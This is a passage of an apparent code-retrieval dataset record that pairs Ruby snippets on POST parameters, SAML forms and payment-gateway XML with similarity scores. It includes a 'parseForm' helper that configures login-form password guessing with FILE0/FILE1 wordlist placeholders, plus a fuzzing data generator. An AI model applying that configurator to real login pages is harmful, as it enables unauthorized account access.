\"sudan\"\n }\n end", "def setup(params, action=nil)\n if params.is_a? Hash\n self.id = params[\"id\"]\n self.email = params[\"email\"]\n self.ssn = params[\"ssn\"]\n self.passport = params[\"passport\"]\n self.license_number = params[\"license_number\"]\n self.first_name = params[\"first_name\"]\n self.middle_name = params[\"middle_name\"]\n self.last_name = params[\"last_name\"]\n self.mother_last_name = params[\"mother_last_name\"]\n self.residency = params[\"residency\"]\n self.birth_date = params[\"birth_date\"]\n self.reason = params[\"reason\"]\n self.IP = params[\"IP\"]\n self.system_address = params[\"system_address\"]\n self.language = params[\"language\"]\n self.status = params[\"status\"]\n self.location = params[\"location\"]\n self.state = params[\"state\"]\n self.created_at = params[\"created_at\"]\n self.created_by = params[\"created_by\"]\n self.updated_at = params[\"updated_at\"]\n self.certificate_base64 = params[\"certificate_base64\"]\n self.analyst_fullname = params[\"analyst_fullname\"]\n self.analyst_id = params[\"analyst_id\"]\n self.analyst_approval_datetime = params[\"analyst_approval_datetime\"]\n self.analyst_transaction_id = params[\"analyst_transaction_id\"]\n self.analyst_internal_status_id = params[\"analyst_internal_status_id\"]\n self.decision_code = params[\"decision_code\"]\n self.identity_validated = params[\"identity_validated\"]\n self.emit_certificate_type = params[\"emit_certificate_type\"]\n self.certificate_path = params[\"certificate_path\"]\n self.error_count = params[\"error_count\"]\n self.rci_error_count = params[\"rci_error_count\"]\n self.rci_error_date = params[\"rci_error_date\"]\n self.email_error_count = params[\"email_error_count\"]\n self.email_error_date = params[\"email_error_date\"]\n self.last_error_type = params[\"last_error_type\"]\n self.last_error_date = params[\"last_error_date\"]\n self.numeric_id = params[\"numeric_id\"]\n end\n return self\n end", "def post_data(params)\n {\n gateway_username: options[:login],\n gateway_password: options[:password],\n payload: encrypt(params.to_json)\n }.to_json\n end", "def raw_post\n env['RAW_POST_DATA']\n end", "def get_url_params\n params = {}\n self.class::POST_DATA_FIELDS.each do |f|\n params[f] = @post_data[f] unless @post_data[f].nil?\n end\n URI.encode_www_form(params.sort.to_h)\n end", "def do_post_request(data)\n\t\tresponse = Net::HTTP.post_form(URI(@url),data)\n if response.message == \"OK\"\n\t\t\tresult = {}\n\t\t\tresponse.body.split('&').each do |res|\n\t\t\t\tif res != ''\n\t\t\t\t\ttemp = res.split('=')\n\t\t\t\t\tif temp.size > 1\n\t\t\t\t\t\tresult[temp[0]] = temp[1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n else\n result = \"Error in the HTTP request\"\n end\n return result\n\tend", "def get_posted_params(required = [])\n required = required.dup\n \n processed_params = JSON.parse(request.body.read).inject({}) do |hash, items|\n key, value = items\n\n required.delete key if required.include? key or StringUtils::is_empty_string? value\n\n case key\n when 'person_id' then\n hash['person'] = get_person_by_id value\n when 'role' then\n hash['role'] = get_role_by_name value\n else\n hash[key] = value\n end\n\n hash\n end\n\n if required.size > 0\n raise ArgumentError.new \"Following are required: #{required}\"\n end\n\n processed_params\n end", "def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end", "def content_post\n\t\t\t# POST requests seem to bomb out when they're deflated\n\t\t\t# and they probably don't need to be compressed anyway\n\t\t\t@request_params[\"SAMLRequest\"] = Base64.encode64(@request).gsub(/\\n/, \"\")\n\t\t\t\n\t\t\t#Logging.debug \"SAMLRequest=#{@request_params[\"SAMLRequest\"]}\"\n\t\t\t# kind of a cheesy method of building an HTML, form since we can't rely on Rails too much,\n\t\t\t# and REXML doesn't work well with quote characters\n\t\t\tstr = \"<html><body onLoad=\\\"document.getElementById('form').submit();\\\">\\n\"\n\t\t\tstr += \"<form id='form' name='form' method='POST' action=\\\"#{@URL}\\\">\\n\"\n\t\t\t# we could change this in the future to associate a temp auth session ID\n\t\t\tstr += \"<input name='RelayState' value='ruby-saml' type='hidden' />\\n\"\n\t\t\t@request_params.each_pair do |key, value|\n\t\t\t\tstr += \"<input name=\\\"#{key}\\\" value=\\\"#{value}\\\" type='hidden' />\\n\"\n\t\t\t\t#str += \"<input name=\\\"#{key}\\\" value=\\\"#{CGI.escape(value)}\\\" type='hidden' />\\n\"\n\t\t\tend\n\t\t\tstr += \"</form></body></html>\\n\"\n\t\t\t\n\t\t\tLogging.debug \"Created form:\\n#{str}\"\n\t\t\treturn str\n\t\tend", "def gather_input\n name = name_check\n email = email_check\n\n {user: {name: name, email: email}}\n end", "def post_params\n\t\tparams[:post]\n\tend", "def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create&param='\r\n register_path << stgu_json.to_s\r\n register_path << '&param=' + stgma_json.to_s\r\n register_path << '&param=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end", "def type_to_form_ready_hash_site\n {\n username: resource[:username],\n password: resource[:password],\n configStoreConnection: JSON.generate(type_to_form_ready_hash_configstore),\n settings: JSON.generate(type_to_form_ready_hash_logsettings),\n runAsync: false,\n }\n end", "def variables\n {\n 'input' => {\n 'environmentName' => @app_env,\n 'intentId' => intent_id,\n 'name' => @task.class.name,\n 'maxProcessingTime' => @task.try(:max_processing_time),\n 'programmingLanguage' => 'RUBY',\n 'data' => @serializer.encode(@properties.from(@task))\n }\n }\n end", "def post_params\n params[:post]\n end", "def content_post\n # POST requests seem to bomb out when they're deflated\n # and they probably don't need to be compressed anyway\n @request_params[\"SAMLRequest\"] = Base64.encode64(@request).gsub(/\\n/, \"\")\n \n #Logging.debug \"SAMLRequest=#{@request_params[\"SAMLRequest\"]}\"\n # kind of a cheesy method of building an HTML, form since we can't rely on Rails too much,\n # and REXML doesn't work well with quote characters\n str = \"<html><body onLoad=\\\"document.getElementById('form').submit();\\\">\\n\"\n str += \"<form id='form' name='form' method='POST' action=\\\"#{@URL}\\\">\\n\"\n # we could change this in the future to associate a temp auth session ID\n str += \"<input name='RelayState' value='ruby-saml' type='hidden' />\\n\"\n @request_params.each_pair do |key, value|\n str += \"<input name=\\\"#{key}\\\" value=\\\"#{value}\\\" type='hidden' />\\n\"\n #str += \"<input name=\\\"#{key}\\\" value=\\\"#{CGI.escape(value)}\\\" type='hidden' />\\n\"\n end\n str += \"</form></body></html>\\n\"\n \n #Logging.debug \"Created form:\\n#{str}\"\n return str\n end", "def req_env_post_parse(env); end", "def built_in_variables\n {\n template_id: self.template.try(:to_param),\n recipient: {\n full_name: self.recipient.full_name,\n first_name: self.recipient.first_name,\n last_name: self.recipient.last_name,\n email: self.recipient.email\n },\n sender: {\n full_name: self.sender.full_name,\n first_name: self.sender.first_name,\n last_name: self.sender.last_name,\n email: self.sender.email\n }\n }\n end", "def user_variables_post(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: UserVariableApi#user_variables_post ...\"\n end\n \n # resource path\n path = \"/userVariables\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_26')\n if Configuration.debugging\n Configuration.logger.debug \"API called: UserVariableApi#user_variables_post. Result: #{result.inspect}\"\n end\n return result\n end", "def parsed_params\n \n end", "def post_data(action, parameters = {})\n action == 'auth' ? parameters.to_s : parameters.to_json\n end", "def variables\n {\n 'input' => {\n 'customId' => @workflow.id.try(:to_s),\n 'environmentName' => @app_env,\n 'intentId' => intent_id,\n 'programmingLanguage' => 'RUBY',\n 'name' => workflow_name,\n 'canonicalName' => @workflow.class.name,\n 'data' => @serializer.encode(@properties.from(@workflow))\n }\n }\n end", "def make_fields(method, keys, values)\n return [] unless method == 'POST'\n\n fields = []\n keys, values = Array(keys), Array(values)\n keys.each_with_index do |name, i|\n value = values[i]\n next if name.to_s.empty? || value.to_s.empty?\n fields << Curl::PostField.content(name, value)\n end\n fields\n end", "def rest_post\n ##define the url path\n url =\"/post\"\n ##This is headers definition.\n headers = [\n ['Cached-Control', \"no-cache\" ],\n [\"Content-Type\", \"application/x-www-form-urlencoded; charset=UTF-8\"]\n ]\n input_body = {\"test_key\" =>\"test_value\"}\n\n begin\n #------------------------\n #Send Post Request\n #------------------------\n request, response = send_post(url, input_body.to_json, headers)\n\n if response.code.to_i == 200\n actual_value =JSON.parse(response.body)\n ## return the value need to be validated\n actual_value = actual_value['form']\n return actual_value.to_json\n else\n return false\n end\n rescue Exception => ex\n @log.error \"#### Response code is: #{response.code} #####\"\n @log.error ex.message\n puts \"#### Response code is: #{response.code} #####\"\n puts ex.message\n return false\n end\n end", "def post_params=(params)\n self.post_params_yaml = params.to_yaml\n end", "def submit\n\t\tset_post_data\n get_response @url\n parse_response\n\tend", "def request_params_all(request)\n request_params = HashWithIndifferentAccess.new\n request_params.merge!(request.params || {})\n\n # read post or put params. this will erase params\n # {code: 123, mode: 123}\n # \"code=123&mode=123\"\n request_body = request.body.read\n if request_body.present?\n body_params = begin\n JSON.parse(request_body) # {code: 123, mode: 123}\n rescue JSON::ParserError\n Rack::Utils.parse_nested_query(request_body) # \"code=123&mode=123\"\n end\n else\n body_params = {}\n end\n\n request_params.merge(body_params)\n end", "def make_fields(method, keys, values)\n return [] unless %w( POST PUT ).include? method\n\n fields = []\n keys, values = Array(keys), Array(values)\n keys.each_with_index do |name, i|\n value = values[i]\n next if name.to_s.empty? || value.to_s.empty?\n fields << Curl::PostField.content(name, value)\n end\n fields\n end", "def post; end", "def variables\n {}\n end", "def toParamMAP\r\n\t\t\t\t\trequestBody = Hash.new\r\n\t\t\t\t\t\r\n\t\t\t\t\tif name != nil\r\n\t\t\t\t\t\trequestBody[\"name\"] = name\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif content != nil\r\n\t\t\t\t\t\trequestBody[\"content\"] = content\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif categoryId != nil && categoryId.to_i > 0\r\n\t\t\t\t\t\trequestBody[\"category_id\"] = categoryId\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif notify != nil\r\n\t\t\t\t\t\trequestBody[\"notify\"] = notify\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn requestBody\r\n\t\t\t\tend", "def parse(post)\n @params ||= Hash.new\n @raw = post.to_s\n #puts (\"-----parsing starts----\") * 8\n for line in @raw.split('&')\n key, value = *line.scan( %r{^([A-Za-z0-9_.-]+)\\=(.*)$} ).flatten\n if key.present?\n if self.class.const_defined?(:FIELDS_NOT_TO_BE_UNESCAPED_WHEN_PARSING) \\\n && self.class::FIELDS_NOT_TO_BE_UNESCAPED_WHEN_PARSING.include?(key)\n params[key] = value.to_s\n else\n params[key] = CGI.unescape(value.to_s)\n end\n end\n end\n #puts (\"-----parsing ends----\") * 8\n @params\n end", "def body\r\nif raw_post = @env['RAW_POST_DATA']\r\nraw_post.force_encoding(Encoding::BINARY)\r\nStringIO.new(raw_post)\r\nelse\r\n@env['rack.input']\r\nend\r\nend", "def issue_params\n user_data = {\n Remarks: params.fetch(:Remarks, nil),\n StoreName: params.fetch(:StoreName, \"\"),\n BrandName: params.fetch(:BrandName, \"\"),\n ProgramName: params.fetch(:ProgramName, \"\"),\n Latitude: params.fetch(:Latitude, 0),\n Longitude: params.fetch(:Longitude, 0),\n Username: params.fetch(:Username, \"\")\n }\n end", "def parse(post)\n @params ||= Hash.new\n @raw = post\n for line in post.split('&')\n key, value = *line.scan( %r{^(\\w+)\\=(.*)$} ).flatten\n params[key] = CGI.unescape(value || '') if key.present?\n #puts \"parsed #{key} => '#{value}', #{ key.present? ? 'aded' : 'NOT added' }\"\n end\n end", "def build_params\n hash = build(\"#{singular_key}_form\").\n public_send(\"#{singular_key}_attributes\")\n\n hash = hash.each_with_object({}) do |(key, value), object|\n object[\"#{singular_key}_#{key}\"] = value\n end\n\n { \"#{singular_key}_form\".to_sym => hash }\n end", "def submission_instance_params\n new_hash = {}\n instance_keys.each do |key|\n new_hash[key] = params[key] if params[key]\n end\n new_hash\n end", "def form_fields\n params\n end", "def patient_params\n {\n email: @body[\"email\"],\n password: @body[\"password\"],\n password_confirmation: @body[\"password_confirmation\"],\n first_name: @body[\"first_name\"],\n last_name: @body[\"last_name\"],\n sex: @body[\"sex\"],\n height: @body[\"height\"],\n weight: @body[\"weight\"],\n birthday: @body[\"birthday\"],\n }\n end", "def generate_data\n # Instantiate the basic attack as our random generator feeder\n random_generator = RestBasicAttack.new\n\n # Randomise the number of keys-and-values pair\n # Then, create the randomise keys and value.\n param_count = random_generator.random_number(50)\n params = Hash.new\n param_count.times do\n params[random_generator.random_string] = attack.input\n end\n\n params\n end", "def parseForm(form)\n # I'm using the format \"name value\" to be able to use the set_options method\n url = Array[\"\", \"url\", form[\"action\"]]\n method = Array[\"\", \"method\", form[\"method\"]]\n hidden_inputs = form.css(\"input[type='hidden']\")\n password_input = form.xpath(\"//input[@type='password']/@name\")\n\n # get the login input\n visible_inputs = form.css(\"input[type!='hidden']\")\n login_input = \"\"\n visible_inputs.each do |el|\n if el.to_s =~ /(login)|(email)|(username)|(user)/i\n login_input = el\n puts \"the login input est : #{el}\"\n break\n end\n end\n\n # create the string with all the hidden parameters\n body = \"\"\n hidden_inputs.each do |el|\n body = body + el[\"name\"] + \"=\" + el[\"value\"] + \"&\"\n end\n\n body = \"#{body}\" + \"#{login_input[\"name\"]}\" + \"=FILE0&\" + \"#{password_input}\" + \"=FILE1\"\n\n # add the question mark if get request\n if method == \"get\"\n body = \"?#{body}\"\n end\n body = Array[\"\", \"body\", body]\n\n\n # write the values in the json object \n options = JSON.parse(get_options(\"http_module\"))\n\n set_options(options, url)\n set_options(options, method)\n set_options(options, body)\nend", "def setup_template_variables(rid)\n @rid = rid\n @request_data = JSON.parse @rid.request_data\n @response_data = JSON.parse @rid.response_data\n end" ]
[ "0.7127326", "0.6948124", "0.6757738", "0.67107373", "0.6670047", "0.65322113", "0.64773047", "0.6475097", "0.6392067", "0.6383374", "0.62316686", "0.62316686", "0.62316686", "0.62316686", "0.6175385", "0.614992", "0.6144257", "0.6143406", "0.61361015", "0.6125927", "0.6103639", "0.6096637", "0.60880715", "0.6083664", "0.6070895", "0.6070895", "0.6070895", "0.6070895", "0.6049909", "0.6030746", "0.5982315", "0.5980977", "0.5979882", "0.59444535", "0.5939926", "0.59289193", "0.59232914", "0.5922569", "0.5914656", "0.5911772", "0.5911605", "0.5910327", "0.5906659", "0.58975685", "0.5886448", "0.5875572", "0.5872926", "0.58703715", "0.58703715", "0.5866926", "0.58518124", "0.5848864", "0.5830363", "0.5819824", "0.5788612", "0.5780475", "0.5774509", "0.5774272", "0.5763833", "0.5756762", "0.574654", "0.57444435", "0.5730562", "0.57240564", "0.57213205", "0.5719443", "0.5715473", "0.570495", "0.5697077", "0.5696925", "0.5680469", "0.5667559", "0.5658448", "0.5651204", "0.5646483", "0.5643621", "0.56428933", "0.56418264", "0.564016", "0.56322944", "0.56239945", "0.56214035", "0.56175345", "0.56053835", "0.5596394", "0.5593818", "0.55931664", "0.5588831", "0.55698377", "0.55696017", "0.55655605", "0.55653435", "0.55648977", "0.5564501", "0.55574554", "0.55528164", "0.55480343", "0.5546978", "0.55462056", "0.5541439" ]
0.7098475
1
Create verify xml as per the api format . "params" is collection keyvalues, in this "params" holds CardData, AVSData, Amount. It returns xml format in string.
def verifyXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"AuthorizeTransaction" ) { xml.ApplicationProfileId application_profile_id #'14560' xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC' xml.Transaction('xmlns:ns1' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard", 'i:type' => "ns1:BankcardTransaction" ){ xml['ns1'].TenderData{ xml['ns1'].CardData{ xml['ns1'].CardType params[:CardType] xml['ns1'].CardholderName params[:CardholderName] # xml['ns1'].PAN params[:PAN] #'4111111111111111' # xml['ns1'].Expire params[:Expire] # xml['ns1'].Track1Data('i:nil' =>"true") if params[:Track2Data].present? xml['ns1'].Track2Data params[:Track2Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track1Data('i:nil' =>"true") elsif params[:Track1Data].present? xml['ns1'].Track1Data params[:Track1Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") else xml['ns1'].PAN params[:PAN] xml['ns1'].Expire params[:Expire] xml['ns1'].Track1Data('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") end } xml['ns1'].CardSecurityData{ xml['ns1'].AVSData{ xml['ns1'].CardholderName('i:nil' =>"true") xml['ns1'].Street params[:Street] xml['ns1'].City params[:City] xml['ns1'].StateProvince params[:StateProvince] xml['ns1'].PostalCode params[:PostalCode] xml['ns1'].Phone params[:Phone] xml['ns1'].Email params[:Email] } xml['ns1'].CVDataProvided 'Provided' xml['ns1'].CVData params[:CVData] xml['ns1'].KeySerialNumber('i:nil' =>"true") xml['ns1'].PIN('i:nil' =>"true") xml['ns1'].IdentificationInformation('i:nil' =>"true") } xml['ns1'].EcommerceSecurityData('i:nil' =>"true") } xml['ns1'].TransactionData{ if params[:Amount] != '' xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) else xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('0.00') end xml['ns9'].CurrencyCode('xmlns:ns9' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('USD') xml['ns10'].TransactionDateTime('xmlns:ns10' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('2014-04-03T13:50:16') xml['ns1'].AccountType 'NotSet' xml['ns1'].CustomerPresent 'Present' xml['ns1'].EmployeeId '11' if params[:Track2Data].present? || params[:Track1Data].present? xml['ns1'].EntryMode params[:EntryMode] else xml['ns1'].EntryMode 'Keyed' end xml['ns1'].IndustryType params[:IndustryType] xml['ns1'].InvoiceNumber('i:nil' =>"true") xml['ns1'].OrderNumber('i:nil' =>"true") xml['ns1'].TipAmount '0.0' } } } end.to_xml rescue Exception => ex return "Some value not set in xml for verifyXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' 